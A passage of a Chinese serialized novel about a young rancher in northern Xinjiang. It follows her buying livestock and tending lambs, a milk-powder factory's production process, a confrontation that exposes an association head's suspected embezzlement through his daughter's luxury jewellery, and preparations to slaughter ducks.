“要不先去我那边挑羊？你牧场上的羊圈搭好了吗？要不要帮忙？” 姚新泉摇头，“本身就有，就是稍微加固了下，不算啥事。先去挑羊吧，这时候养羊长肉慢，我还是赶紧把羊弄回来养着吧！” 第164章 夏季育肥虽然成本会低一些,但是增重会比较慢，不过她也得尽快了，至少保证古尔邦节能出一批,剩下的可以稍微晚一段时间。 九月多份这一批估计还没育肥好,但下一批也得进来了,不然到时候会影响年底出栏。 萨哈烈自然没意见,带着姚新泉便去了自家畜棚。 姚新泉签完合同就让师月江忙自己的事情去了,所以现在就萨哈烈跟她两个人在挑羊,她在羊圈里挑到合适的就推给他，她做个标记再放到旁边。 萨哈烈被太阳晒得有点困，打了个哈欠，“要我说啊,现在乱七八糟的事情真是太多了,以前养羊就养羊,现在我听说又搞了一个什么帮人家代养的。” 姚新泉没听太清，“什么代养？” 萨哈烈叹气，“好像说是有人或者公司专门跑过来让农户或者牧民养牛羊之类的,技术、饲料、种苗都是公司提供,养殖户只要饲养就成，到时候人家高价回收。” 姚新泉把羊嘴合上推给萨哈烈,一时间有点没搞明白什么意思,“饲料、种苗都是人家提供的话,那就算只赚点辛苦钱其实也行啊！” 不管是种地还是放牧哪有轻松的？不都是辛辛苦苦赚钱？而且老百姓其实最不怕吃苦了,只要能赚到钱，再苦都有人干！ 萨哈烈撇撇嘴，“是，如果人家真按合同办事那当然没问题,但关键是人家到时候不收了，或者压价收，你说养殖户能有啥办法？” 姚新泉皱眉，“合同不是写得很清楚吗？还能这样？” 萨哈烈冷笑，“合同是说要收，但万一再设置什么回收的苛刻要求，到时候说你的牛羊不达标啊！你又能怎么办？” 姚新泉一时间有些无语，她确实没想到还有这样的操作。 “还有啊，你真以为人家是过来做慈善？又给你羊又给你饲料？” 姚新泉只听他说了这么一鳞半爪一时间有点茫然，“你不是说提供饲料技术和羊吗？又不提供了？” 萨哈烈翻了个大白眼，“之前瞧你挺机灵一小姑娘，怎么现在傻不拉几的？你被晒晕了吗？” 姚新泉没好气地白他，“你含含糊糊不说清楚倒成了我没办法理解了？” 萨哈烈赶忙打了个哈哈又继续道，“人家是提供了，但你得花钱买啊！不买也行，不买人家的东西公司不会高价回购，买的话养羊要是全喂饲料那得喂多少？而且那羊肉还能好吃吗？” 萨哈烈满脸嫌弃，那羊就该吃草，就算要补饲料那要么是为了育肥，要么是没草能吃了，好好的羊全喂饲料算怎么回事？ “羊要全吃饲料的话长出来的都是肥肉，油腻腻的吃上都没羊肉味儿了”，萨哈烈很不喜欢这种，不过他也没太多机会吃到纯饲料饲养的，饲料不要钱啊？ 纯吃草的羊肉质更紧实，纤维感更强，脂肪较少，味道是传统的羊肉味，有可能比较柴，但是他不在乎，就喜欢这一口。 当然了，育肥的羊他也喜欢，这种羊既有草饲羊肉的清香，又有脂肪带来的油润感，肉质软硬适中，味道鲜甜不腻。不过要想平衡好两种口味就得饲养员去想办法了，像是姚新泉家里去年那羊就特好！ “反正我听他们说用什么饲料喂就觉得不靠谱，一头羊得喂多少饲料？要花多少钱？最后又得卖多少钱才能赚？” “反正说来说去这种事情最好还是别沾”，萨哈烈摇摇头，“赚钱还是赚自己看得见的，别到时候钱没赚到，还惹一身骚。” 姚新泉点头，很是认同，“你说得对，这种事情确实不能沾。” 对于自己不了解的东西她都比较克制，就算想去做，那也得好好了解清楚再分析利弊后再说。像这种兴新的模式，不管里面有没有坑姚新泉都没啥兴趣。 只是她也不禁感慨，“这两年这种幺蛾子好多啊！” 萨哈烈嗤笑，“这算啥？你是去年回来的对吧，怨不得你不知道呢！” “前年还是大前年，有人过来推广说是老百姓可以养殖什么白玉蜗牛”，萨哈烈满脸嫌恶，“那玩意儿说到底不还是蜗牛吗？那些人说老外喜欢吃这些，还有什么老鼠，我都忘了叫啥名儿了！” “老鼠？”姚新泉瞪大了眼睛，老百姓真信养老鼠能赚大钱？ 萨哈烈摆了摆手，“不是老鼠，就长得还挺像的”，他想了半天一拍手，“海狸鼠，说那玩意儿又能吃肉又能用皮毛，反正就没有一个地儿不好的，总之折腾了一圈，只有老百姓在亏钱。” “反正对自己不懂的领域就少折腾”，萨哈烈总结，“像我，我养羊不行，但我挑羊看羊什么的都不错，所以我就干这倒买倒卖的活儿，照样能养活一家老小！” 姚新泉很是认同地点头，两人花了大半天的时间挑出了702头羊，姚新泉倒也没嫌多，两人算好价格后姚新泉想了想还是多给了他一部分定金。 他的羊也是从下面牧民手里收的，就算尾款要拖一拖，但总得给人家一点才过得去。 萨哈烈自然不会拒绝，这次因为羊太多了就没再找车拉，他找了几个人帮着往山上赶羊。 姚新泉回去把地方收拾了一下，等羊到了后带着去了牧场里的羊圈先隔离几天，没问题了再放开。 萨哈烈收羊的时候就好好挑过，别说病的了，就连精神不算太好的都没收，毕竟他家里地方不大，短期放那么多羊，一旦有一头出了问题，传染一下，他别说今年白干，这么些年的积蓄全得砸进去，所以再小心也不为过。 姚新泉算是在优中选优，别的不敢保证，但至少目前应该是没什么病的。 说是都打了疫苗跟驱虫，但姚新泉打算重新安排一遍，不过得稍微缓两天再说。 家里专门买了打草机回来，她扛着打草机去割了些草扔到了羊圈里，又给它们喂了些精料，把水也放好后这才离开。 圈养两天没问题的话就放开，牧场隔开了，在这边也影响不到其他牲畜。一直圈养的话这么多羊，她一天是什么都不用干了，就打草喂羊吧！ 姚新泉回了生活区，在外面的一个水龙头下好好洗了把脸跟脖子还有胳膊，这才觉得人缓过来了。 她本来就不算太白，这下一晒更是健康油亮的小麦色，她自己还挺喜欢这个肤色的，不过该做的防晒还是要做，主要是怕晒伤，这边紫外线太强了。 实在是懒得做饭了，姚新泉干脆把家里的铜锅翻了出来，外形上看基本和老北京涮锅差不多。 她把家里的各类调料都翻了出来自己随便炒了个火锅底料，又把菜跟肉都洗好切好师月江才回来。 他有些不好意思，“厂里该忙的也差不多了，等忙完家里的这些事情还是我来吧！” 相处的时间越久就越发现姚新泉其实还挺喜欢糊弄的，懒得做饭的时候他就随便煮点挂面或者热个馍馍拌个黄瓜。 他也不是嫌弃，只是姚新泉到底是干的体力活，又天天在外面东奔西跑的，她 就是得吃肉，得吃好的才行，不能总是随意对付两口。 姚新泉朝外面的铜火锅抬了抬下巴，“你有事你就忙呗，你住这儿又不是给我当保姆的，谁有空谁做饭，懒得做饭随便吃吃都无所谓啊！” 她家算是日子好过的，但早几年挂面那可算是精细粮食，那是好东西！ 现在也就是日子好了大家才嫌这嫌那的，反正她是不怎么挑。 “我搞了个火锅，随便炒的料，好不好吃也不好说但闻着还挺香”，两人都能吃辣，她辣椒花椒放了一大堆去炒，那味儿还挺冲鼻子的！ “肉啊菜啊里面不都是？赶紧，吃饭！” 师月江把小崽子们的饭放在锅里蒸上，给自己调了个料汁，一抬头就见姚新泉哐哐往碗里倒醋，他看的牙都酸了。 “不酸吗？” 姚新泉摇头，“不酸啊，我放了点酱油，醋，香油还有辣椒油，再放点儿蒜末，香的不得了！” 锅底里是煮的之前的半只鸡，已经差不多熟了，她夹了一块儿斯哈斯哈啃了起来，都是人家养的走地鸡，怎么吃都很香！ 师月江把牛肉片、羊肉片夹了放在锅里，铜炭火锅的烟囱里窜出缕缕青烟，炭火噼啪作响，烧得正旺。锅底的红油汤翻滚着，辣椒与花椒在滚烫的汤汁中跟着肉片一起上下翻腾。 师月江跑回屋里把前两天买回来的电风扇搬了过来，两人卧室里一人一台，厨房里还有一台。其实平日里卧室的用不上，两人也就只有睡觉才回去，但睡觉的时候这边温度最多也就十来度，不盖被子都有点冷，吹什么风扇？ 但在这种夜晚，吹着风，吃着火锅的感觉真的是非常美妙啊！ 羊肉片和牛肉片都是顺着肌理切得，不算太薄，但同样没一会儿就熟了。 姚新泉夹起一片牛肉放到碗里，裹上辣椒油、蒜泥又带着醋的酸香，姚新泉眼睛都眯了起来，“爽！” 第165章 师月江站在厂房门口看着,赵群学笑问，“咋不进去？” 师月江摇了摇头，指着前面问,“要不要在墙上或者门口那边弄个牌子,好歹暂时正规公司,手续齐全啥都不缺,进厂房一看设备什么的也都不错,但从外面看就是个草台班子。” 赵群学失笑,“哪里顾得上啊？你们家里本来要盖房子的人手也被拉到这儿来施工了！” 之前本来想着把这五间房整修好就先去牧场里盖房子，结果赵群学接手后就要求赶紧加快施工的脚步把新厂房盖出来。 现在机器都挤在一起也容易出问题，牧场那边也不急在一时。 师月江今天是跟着送奶的车一起过来的，鲜奶似乎还温热着,储奶罐被卸下后乳白色的奶液顺着不锈钢管道涌入收奶槽,空气中立刻弥漫开一股浓郁的奶腥味,混合着牧草和牲畜的气息。 离心泵"嗡嗡"运转，将鲜奶抽进预处理车间。第一道工序是过滤。奶液通过三层细密的不锈钢滤网，草屑、牛毛、沙粒被拦截下来,滤网很快积了一层黄褐色的杂质。接着是标准化,脂肪分离机高速旋转，将全脂奶分离成脱脂奶和稀奶油,齿轮传动带"咔嗒咔嗒"地响,离心力把不同比重的成分甩向不同出口。 预处理后的牛奶被泵入巴氏杀菌器,不锈钢板式换热器内,奶液在85℃的高温下湍流翻滚，杀死所有杂菌。热蒸汽在管道外壁凝结成水珠，滴落在水泥地面上，形成一片片湿漉漉的印记。杀菌后的牛奶温度仍然很高,直接进入真空蒸发罐。 蒸发车间雾气弥漫，巨大的铜制蒸发器"隆隆"作响，真空泵抽走空气，牛奶在低压下沸腾，水分迅速蒸发。奶液从入口的稀薄状态逐渐变得黏稠，像融化的黄油一样挂在搅拌桨上。工人盯着视镜，时不时取样测试浓度。当比重计稳稳浮在标线位置时，浓缩奶便通过底部阀门"哗"地泄入缓冲罐，准备进入下一道工序。 之后便是奶粉加工的核心步骤了，师月江穿着车间工人的工作服，紧紧盯着机器。干燥塔矗立在车间中央，外壁包裹着泛黄的保温棉。高压泵将浓缩奶压入塔顶的雾化器，奶液被粉碎成极细的雾滴，同时，热风炉又鼓入热空气，雾滴在坠落过程中瞬间脱水，变成细小的奶粉颗粒。 干燥塔内部如同暴风眼，热风呼啸，奶粉像雪花一样盘旋下落。塔底的振动筛"嗡嗡"震颤，将结块的奶粉打散，细粉通过螺旋输送机"嘎吱嘎吱"地送往冷却间，而较大的颗粒则被回炉重新粉碎。整个车间弥漫着焦糖般的香甜气味，偶尔有奶粉从管道接缝处漏出，在地面上积成小小的奶白色沙丘。 刚从干燥塔出来的奶粉温度极高，必须迅速降温，否则会结块变质。冷却间的流化床冷风机"呼呼"运转，冷空气从底部吹入，让奶粉像沸腾的米粒一样翻腾，温度在几分钟内从80℃降至30℃以下。 之后便是自动灌装了，赵群学拿了两包灌装好的奶粉递给他，“今天拿去检测吗？”他们厂没有检测装置，但就算不考虑备案这些问题，他们也想检测下奶粉的成分，看看跟市面上其他奶粉比起来优缺点都在哪里。 师月江早晨就跟姚新泉说过了今天要去市里，所以拿上东西直接开车离开去了市里的一家检测中心。 这个检测中心是楼宇给它们推荐的，说是他们之前合作过，估计是因为楼宇打了招呼，这边也没为难他，很快就给他排上了检测，结果本来说要三个工作日才能出，但师月江给人家送了一条好烟，人家才答应今天下班前出结果，师月江也没急着回去，打算在市里转转看有什么好给姚新泉买的。 不急不行啊，工厂生产出第一批样品后就没继续生产了，就怕万一样品不合格，或者营养成分哪里需要调整，所以一切都等这边结果出来了再说。 那边姚新泉也没闲着，她今天得去把鸡鸭鹅的粑粑铲回来。 鸡鸭鹅被狗狗军团们养成了好习惯，天黑就进圈里，所以虽然外面的粪便不好收集，但是圈里的还是比较方便收拾的。 之前地上就垫了锯末，因为家禽数量太多了，没特殊情况的话她最起码三天得来一趟，不然干不干净还是一回事，容易生病啊！ 要不说每天感觉好像也没干啥特别多的活，但是好像从睁眼开始就没闲过…… 她钻进圈里，用铁锹将粪便一一铲出，倒入尿素袋中，轻松装满了三袋子。随后，她又进行了消毒处理，重新铺上锯末，这才离开。 牧民或养殖户的生活看似单调乏味，仿佛每天都在重复着相同的生活，做着同样的工作。 姚新泉载着散发着臭味的粪便，与小崽子告别，准备前往堆肥的地点。 堆肥的地点在下风口，离生活区有些距离但不算太远，不过不管怎么样至少不会臭到生活区。 路过大门时，姚新泉突然感到不对劲，门口似乎有个人影？她皱起眉头，奇怪狗狗军团怎么没有吠叫。之前生活区这边通常会留一条狗。因为细毛羊尚未全部生产完毕，所以平时跟随它们的小狗崽们也得以自由活动，今天生活区便留了两条狗。 然而今天这边留下的是朵朵和点点这两个不靠谱的，皮皮与平安正常也是自己在附近玩耍的，今天也没见着他们。想必它们是一起尽情撒欢去了吧！经过长时间的磨合，朵朵已经学会了如何跳到皮皮背上，并“策马奔腾”…… 这一幕实在离谱，姚新泉见到时，简直恨不得把眼珠子掏出来再装回去重新看一遍。显然，这两只不靠谱的家伙肯定是跟着皮皮跑了！ 姚新泉无语，她把车停在一边走近了看到来人顿了一下，“赵媛媛，你怎么来了？” 印象中她并没有告诉对方自己的住址，除非她翻看了协会里自己留下的资料，姚新泉心中涌出不悦。 “你怎么来了？有事吗？”她站在门里没立马去打开大门。 赵媛媛似乎有 些局促，又有些不好意思得低下了头，“我有点事情想找你，但我给你打电话一直没人接。” 姚新泉挑了挑眉，家里一直有人，绝对不可能出现电话没人接的情况，那她为什么要这么说呢？ 她这次来，又跟马进宝他们那些事情有没有关系呢？ “新泉，让我先进去呗！” 姚新泉想了想还是拉开了大门，随后引着对方往里走，可没想到刚拉开门，赵媛媛便冲了上来伸手就像甩她耳光，“贱人，你怎么不去死啊！” 姚新泉本就对她抱有警惕心，在她靠近的时候她一把抓住对方的手腕反手往后一扭将人按在了大门上，轻笑着用另一只手拍了拍她的脸蛋，“你上门来找打，哪根筋搭错了？” “你个贱人，都怪你，要不是你，我爸爸怎么会被抓走？”赵媛媛被按着脸贴在被太阳烤的热乎乎的门上目眦尽裂。 姚新泉皱起眉头，她确实不知道赵强也被抓走了的事情，“你爸爸被抓走？关我什么事？” 赵媛媛嘴里呜呜咽咽地说着什么，但姚新泉一句也没听清，她加大了手上的力气，“你给我说清楚，你爸爸被抓跟我有什么关系？” 赵媛媛被按在门上，脸憋得通红，缓了半天终于口齿清晰了一些，“你……你别装蒜，要不是你举报，我爸爸怎么会被警察抓走？” 姚新泉这下听明白了，敢情确实还是马进宝他们得事情，她哼了一声，“警察抓人自然是有他们的道理，你爸爸要是没做违法乱纪的事情，警察怎么会抓他？” 赵媛媛显然不相信她说的话，“你别以为我不知道，就是你举报的，我爸爸他只是做自己分内之事，有什么错？亏他之前还帮了你的忙，你就这样恩将仇报！你还是人吗？” 姚新泉只觉得可笑至极，这人真的一点基本的是非观都没有了，“我再重申一遍，我确实举报了这件事，但那是因为以马进宝为首的一干人等诈骗牧民钱财，我作为热心市民有什么问题？” “至于你爸爸，他作为协会的会长，如果只是审核不严格或者说完全被蒙在鼓中，想来也不至于这么久了还没放出来吧？他是不是还犯了别的事？” 赵媛媛哪里能容许别人这样说自己父亲，一边嘴里不干不净地骂着一边用力挣扎，挣扎间脖子上掉出一个项链，姚新泉的目光定在了上面。 那是一枚四叶草。 她忍不住轻轻捏住项链问她，“哪来的？” 赵媛媛目光闪烁，“你管我哪来的？你还想抢东西不成？我告诉你，你冤枉我爸爸的事情我跟你没完！” 姚新泉嗤笑，“你要是脑子不好赶紧去看病，我真是一分钟都不想跟你多说”，她用力吹响了口哨，不远处就听见传来两声犬吠，而且听声音，两条狗正在急速靠近。 赵媛媛满脸惊恐，还想说些什么可已经看到两条狗的影子了，她根本顾不得别的，扭头就跑。 姚新泉轻笑一声，目光中却满是冷意，“可真是赵强的好女儿啊！” 第166章 姚新泉安抚好了两条狗,照常去把粪便做了堆肥，然后去客厅拿起了电话。 “新泉啊，你怎么打过来找我了？”楼宇的声音在电话里有点失真。 “我想问一下你们有在查赵强是吗？是只查了这次的事情还是也有涉及到别的,比方说”,她压低了声音,“贪污。” 楼宇愣了一下,不自觉地四下打量了一圈,确定众人没听到这才低声问,“你从哪知道我们在查赵强？” 姚新泉轻笑，“赵媛媛是他的独女你知道吗？她妈妈早年意外去世后赵媛媛就被她爸爸一手带大，捧在手心很是疼爱。工作后也是安排在自己眼皮子底下，所以平时看赵媛媛很是活泼天真。” 楼宇不解,“你说这个是什么意思？” “你们抓了赵强,赵媛媛认为是我害了她爸,所以来找我麻烦了。” “她有病吧？”楼宇气坏了，声音也不自觉大了起来，众人都竖起了耳朵。 “他们自己家屁股都没擦干净,要不是你举报,要是在他组织的宣传会上被骗几百万，别说抓人了,他”,他刚想说什么对上领导的目光顿住了。 楼宇尴尬一笑,“领导。” “开免提”,他们的电话机有免提功能。 楼宇有些不大高兴，他避开了领导的目光，硬着头皮小声问，“我们领导要开免提,你那边方便吗？” 姚新泉先是一愣随即便笑了起来，“开吧，我又没说什么见不得人的话。” 楼宇尴尬一笑根本不敢直视领导的目光，把电话开了免提后道，“新泉，你刚才说赵媛媛去找你麻烦是什么意思？我开了免提，领导和同事都在。” 姚新泉嗯了一声，心里暖暖的，也就是他领导是个好人，否则非给他穿小鞋不可！ “是这样的，她应该是翻了协会里我留的那些资料找到了我的地址自己跑过来了。她话里话外都在说她爸被抓了，还是因为马进宝的事情，是我举报才会导致这个结果，都怪我什么的，还想打我。” “她还敢打你？”楼宇震怒了，什么玩意儿啊！就一蛀虫的女儿还敢打人？ 他都要跳起来了，领导见状只能无奈地按住他示意姚新泉继续说。 “我把她按倒了”，听到这楼宇满意了，就是嘛，以前读书的时候姚新泉跟他掰手腕都是有来有回，怎么至于被一个娇娇弱弱的小姑娘欺负？ 他读书的时候完全没有什么青春萌动或者少男情怀这种东西，他能看得上眼的女孩要么就是姚新泉这种力气大的，要么就是别的什么特长，反正跟好不好看一点没关系。要是姚新泉被一个小姑娘给欺负了，那他真的会气到晕过去…… 领导眼中也闪过一抹笑意，嗯了一声示意她继续说。 “我看到她脖子上的项链了，我也想到了些别的东西。” 领导示意他们拿笔记下来，直觉告诉他这很重要。 “她脖子上带着的四叶草形状的项链看着不怎么起眼但很贵”。 有人不以为然地撇了撇嘴，一根项链能贵到哪里去？就算是金链子，女孩子带的金项链又不会特别粗，十来克了不得了吧！这阵子金价不算便宜，但大多数时候一克也就五十来块钱，一根链子五六百。 不算便宜是真的，但是你说一个领导家的小孩买不起一根五百块钱的项链？ 这也不需要贪污吧？ “那根项链折合人民币应该两三万块钱。” “多少？”姚新泉的话像是在湖里扔了一块儿巨石，岸上的人都被炸了一脸水，就连一直很信她的楼宇也忍不住问，“这啥项链那么贵啊？大金链子啊？” 姚新泉轻笑，“那是国外的奢侈品，一个叫梵克雅宝的牌子出的项链，用黄金镶嵌的贝母，值钱的不只是材质，还有品牌价值。这个牌子在国内除了北京上海好像在别的地方还没有店。” “另外我之前曾经见过她佩戴一条手链，是猎豹款的，当时我只是扫过一眼没在意，还以为是假的。但现在看，估计是18k金镶嵌钻石款，应该也值三五万人民币。” “我跟她没见过太多次就发现了这两样，加起来也价值六七万了，她哪来的钱呢？” 这话是问到众人心里了，她哪来的钱呢？ 她爸和她确实都有工作，但是她那工作每个月撑死了200块钱吧！ 她爸的工作就算一个月500块好了，两个人一年不吃不喝能存8400块，等于说光这两条链子，父女俩得不吃不喝存7年，可能吗？ 就算他们平时再节省，生活开销总得有吧？除非他们平时根本就不用花钱，但这显然是不可能的。 就算赵强工作了一辈子有些存款，就算5万块好了，当然了，没人相信一个在七八十年代当干部的人能有五万块存款。 就 算有五万块，他会拿出全部积蓄给女儿买大家并不认识的名牌珠宝？ 赵媛媛还没结婚，按她疼女儿的情况来看，如果赵媛媛结婚那她绝对不可能委屈自己闺女，陪嫁的东西也绝对不会少。钱都拿来买名牌首饰了，又用什么办嫁妆？除非他的积蓄远远不止这么多。 那话又说回来了，钱从哪儿来的？ 除非，他们的收入来源并不止这些。 想到这里，众人都觉得背脊发凉，如果真的是这样的话，那赵强所涉及的贪污数额，恐怕远比他们想象的要大得多。 他们之前找到了些线索，但是事情就卡在根本找不到赃物上，但现在…… 现在，这条看似不起眼的项链，或许能成为打开案件关键缺口的重要线索。领导立刻安排了人手，对赵媛媛的经济状况进行深入调查，同时，对由7.2重大诈骗案带出来的贪污案件也加大了侦查力度。 姚新泉在电话里将所知的情况一一告知后坐在沙发上沉默了许久，倒不是说有所谓“出卖”别人的感觉。 先不说她跟赵强还有赵媛媛事实上并没有什么私交，更没有什么所谓的恩情。 当初确实是想让协会帮着调度湖羊的事情，但即便办成了这也不是他赵强施恩于自己，自己是协会的会员，交了会费，他们本来就应该帮助会员解决一些困难。 更别说事实上事情是师月江给她办成的，所以不存在任何恩情。 只从作为一名普通老百姓来说，检举揭发都是她应该做的事情，她只恨自己知道的太少，没办法揪出每一条蛀虫！ 而且她也不想再看到赵媛媛这种没有半点是非观，为了父亲甚至可以颠倒黑白的人出现在自己面前了。 毕竟，她的时间宝贵，要用来做更多有意义的事情，比如说给她家小羊羔解决一下粑不出来的问题。 姚新泉翻出了一块儿干净的布子用温水浸湿，然后把小羊羔拉到自己面前用浸湿的布轻柔地给它按摩屁股周围，又挤入了少量的开塞露，期间小傻子羊就一直在顶她，顶的姚新泉好笑又好气。 开塞露用了后小羊没多久就有反应了，它在一边表情狰狞地额嗯额嗯用力，姚新泉忍不住哈哈大笑，这小家伙一用力整张羊脸都皱到一起了！ 姚新泉真的怀疑崔文建能同意按这个价格买羊是因为家里小羊娃子太可爱啦！ 像这头便秘小宝贝浑身雪白，圆滚滚的身子像一团蓬松的云朵，而脖颈处绒毛更是尤其丰厚，仿佛围着条蓬蓬的围脖。小家伙短小的四肢因为不舒服灵巧又焦急地蹦跳着，粉嫩的鼻头湿漉漉的，黑珍珠似的眼睛水汪汪的，长长的睫毛卷翘浓密，一对小巧的耳朵还会随着声响轻轻转动，姚新泉都恨不得把它捞过来抱一抱。 但是这种可爱的小傻子最会气人了，它们不管三七二十一上来就喜欢顶人…… 小傻子好不容易粑完姚新泉给它用奶瓶喂了点儿温水，这小家伙它妈妈的奶太浓了，乳汁里脂肪含量过高，导致它消化缓慢，最后还便秘了。 其他小羊虽然没这种情况，但是也得给羊妈妈们调整下食物了，精料的比例得降低，苜蓿草之类的得增加一些，水更是得充足。 没便秘的小朋友们也得稍微喂点儿温水。 姚新泉抱着奶瓶坐在羊圈里，身边围了一群咩咩叫的小云朵。 小云朵们争先恐后地凑近她，一个个都仰着头，大眼睛里满是期待。姚新泉被它们看得神色都温柔了起来，“一个一个来，不许抢。” 小云朵们身上暖烘烘的软绵绵的，还带着一股甜香，但数量一多起来她也有点撑不住了。 这个在顶她的后腰，那个在啃她的头发，还有的在偷偷啃她的手指…… 她余光就看见后面的那头小羊缓缓后退，低头，蓄力，用力冲了上来，撞！ 姚新泉捂着后腰咬牙，小羊肉串！ 她把相对严重的几个小家伙喂了水后双手在羊圈边上一撑便跳了出去，这可真是甜蜜的烦恼啊，受不了受不了！ 第167章 萨哈烈的动作非常快,羊刚赶回来两天时间牛就已经凑够了，她去挑了一下，萨哈烈给别人卖的牛羊品质怎么样她不好说也不清楚,但是给自己挑的这些绝对是特别棒的。 所以她也基本没怎么挑就选了150头回去。 萨哈烈在一边咂舌,“你这育肥压力不小啊！” 姚新泉点头,“我还得再买点饲料,赚钱嘛,费劲儿就费劲儿了”,要是每天躺在院子里，天上就哗啦啦往下掉钱，那她肯定啥也不干就躺着了。 姚新泉照样给牛隔离在牧场上等两天再散养，家里牲畜越来越多了,可不能偷懒或者放松警惕。 另一边师月江拿到了检测报告后把报告原件还有一箱子奶粉都给他哥托运了回去,回来的路上又买了一麻袋西瓜放在车厢里,家里除了幼崽之外基本每个都能吃西瓜，买一个两个的还不够寒碜呢！ 师月江回到家的时候，太阳已经快落山了,晚霞把天边染成了橘红色,美得让人心醉。 他也没让人帮忙，自己把西瓜卸下来放到储物间里,然后招呼着姚新泉过来吃西瓜。 狗狗军团们都回来了,师月江干脆把瓜在水龙头下洗了洗,拿了个菜板出来给他们一条狗狗切了一大牙西瓜,几条小狗分食了一个。 然后又给闻着味儿就过来了的皮皮平安炽焰还有马鹿骆驼什么的都切了西瓜，连陆龟都没落下。 分好后他又一个瓜切两半，给姚新泉一半又递给她一个勺子，两人坐在院子里抱着瓜挖着吃。 姚新泉一勺子把中间最红的那一块吃到了嘴里,含糊不清道，“我明天打算杀鸭子了！” 师月江这几天都没时间去看鸭子，有点好奇，“体重差不多了吗？” 姚新泉点头，草原绿头鸭不是肉鸭，没办法长得特别胖，“这阵子我还给添了点儿饲料，转化率也不高，体重估计不会涨了，再喂也没意思。” 师月江点头，“那我明天留下帮你”。 “工厂不用你操心了？”姚新泉有些好奇地问道。 师月江失笑，“本身也不用我操心，不然找赵群学过来干嘛？现在我把检测报告和样品都给我哥了，这边正常继续生产就行。” 姚新泉有些好奇，“奶粉质量挺好的是吗？” 师月江脸上的笑意深了些，“是非常好。” “目前咱们主打的还是婴幼儿奶粉，等以后再考虑要不要做成人奶粉或者老年人奶粉之类的，不同人群的需求不同，得针对性地去开发产品。” “像是婴幼儿奶粉，像是基本的蛋白质、脂肪之类的就不说了，咱们这款奶粉专门调整了乳清蛋白与酪蛋白的比例，让它能更像母乳，还添加了植物油以更接近母乳的脂肪酸。还有维生素和矿物质”，另外还有一些什么酸之类的，反正师月江是 不太懂。 “我哥挖过来的那个技术员水平也不错”，师月江都觉得神奇，那技术员明明是国营厂的员工，而且他那厂子还不是县里那家奶制品厂半死不活的样子，那家厂子不说盈利多少吧，但是至少目前还是有点儿蒸蒸日上那个意思的，但他哥还是给人挖来了，就很神奇。 不过待不了多久，人家家里老婆孩子都在内地，帮着把这边配方调整一下也就得走了。 “反正样品也不错，他们继续生产就行，回头我哥那边看看有没有什么渠道，反正就算没别的渠道铺，哪怕进他们超市的货架上也总有人买的。” 未来怎么样不好说，但如今只要东西好那是真不愁卖，尤其是卖孩子用的东西。 在北疆这儿待久了还没觉得有啥，但是进大城市就知道，大多数家庭就那么一个小祖宗，不宠着他们宠着谁？ 这时候能在城里定居的绝大多数还是国营单位的人，计划生育政策出来了那就只能生一个，不然就下岗，大多数人还是知道该怎么选择的。 姚新泉问了两句也就转了话题，厂子那边的事情她确实不太清楚，但牛奶已经给他们厂送了，账一月一结，别的她都不负责。 第二天一早两人给牲畜们喂过后带着工具就去了家禽在的地方。 家里总共有85只公鸭子，留下15只做种鸭，再留30只平时吃以及过年吃，这次总共能杀的也就40只。 姚新泉忍不住叹气，“四十只鸭子咱们也不往外处理了，自己想办法做了，到时候家里亲戚送一送也就差不多了。” 倒也不是不能卖，还是那个问题，与其贱卖她宁愿自己消化掉。 可如果想卖上价格，这40只还不够人家做样品的呢！ 所以还是自己吃吧！ “会挑鸭子不？”姚新泉冲师月江挑眉，师月江笑着摇头，要不是草原绿头鸭的公母区别还挺大的，他连公母都未必分的出来。 禽类好像都是这样，雌性会长得低调一点，而雄性则是花枝招展的，毕竟禽类雄性要是不好看根本找不到媳妇儿。 像草原绿头鸭，公鸭子头上有醒目的金属光泽绿色，脖子上还有一圈白色圆环，尾部黑色，尾羽中央有向上卷曲的黑色性羽。 而母鸭头上没人家的绿色，身上也是棕褐色为主，看上去灰扑扑的，尾巴上也没漂亮羽毛，就连翅膀上的蓝紫色都没公鸭子亮，很不起眼，但是在自然环境中它的不起眼反而方便孵蛋或者抚育孩子。 今天家禽没放出去，姚新泉两人盯着圈里的鸭子看。 “挑种鸭，得看三样——头、胸、脾气，像那只就不行，毛色发暗，眼神还贼溜溜的”。 师月江顺着她的手指望去，那只公鸭正鬼鬼祟祟地靠近一只母鸭，结果被另一只体型更大的绿头鸭一翅膀扇开，只能嘎嘎叫了两声灰溜溜地跑走了。 "那只不错，"姚新泉又指向一只站在岩石上的公鸭。它比别的鸭子大一圈，脖子上的绿毛在阳光下闪闪发亮，胸脯厚实得像塞了半个馒头，脚蹼宽大，稳稳地抓着石头，眼神倨傲，仿佛在巡视自己的领地一样。 姚新泉撑了一下围墙跳了进去直直朝它走去，这鸭子也不躲，目光不闪不避地看着她。 姚新泉伸手想要抓它，那鸭子做出一副要扇人的模样，可却被姚新泉抓住翅根没办法动弹了。 “就得要这种凶的，凶的才能互住母鸭子，它们的后代才更好”，虽然说她也没想着后续要怎么培育鸭子，但是公鸭子质量好的话，后代的质量肯定也会好一些。 从人家那边买鸭子还能挑，自己养的话上哪儿挑去？ 她有如法炮制抓了十五只公鸭子后又挑了20只体型适中但是活泼健康的公鸭子留着慢慢吃。 “咱们有几只要留到过年呢，虽然年前就杀，但还是得挑健康精神的，太胖太瘦的都不合适。” 把这一批再分出去后，剩下的公鸭子全是今天就要见阎王的，姚新泉把鸭腿绑好扔出去，师月江把鸭子拎到三轮车厢里，运了两趟才全都运回去。 两人找了一个靠近生活区的下风口，师月江回去把热水壶拎了过来，他接过了姚新泉手里的刀，“我来吧。” 姚新泉失笑，“我会杀鸭子。” 师月江没说话，倒不是觉得女生不能怎么怎么样，但他在旁边看着，姚新泉在那干活，这种感觉总让他心里不大舒服。 姚新泉也没再说啥，反倒是叮嘱道，“你把鸭子尾巴还有翅膀上好看的毛给我留下啊，回头做点儿好看的饰品之类的！” 鸭子身上好多羽毛是真的好看，那种绿色是会反光的，甚至让你觉得颜色都在流动！ 师月江自然点了点头没意见。 他拿过磨刀石把刀磨锋利了，拎过一只被绑住脚的鸭子后也没让人帮忙，一脚踩在鸭腿上，左手捏住鸭头往后一扳，右手刀光一闪，鸭脖子就裂开一道口子，血"哗啦"流进准备好的盐水碗里。被割喉的那只鸭子还本能地扑腾几下，师月江就提着它们的脚控了空让血流尽。 姚新泉看着他忍俊不禁，“怪不得张新康怕你呢！你板着个脸杀鸡杀鸭的模样确实有点渗人。” 师月江无奈地看过来，这目光就让她觉得熟悉了，温暖还带着笑意。 “我不板着脸难不成笑眯眯地抹脖子？” 师月江继续杀鸭，姚新泉则是先把自己喜欢的漂亮羽毛拔了下来，然后再用开水去烫鸭子身上的毛。 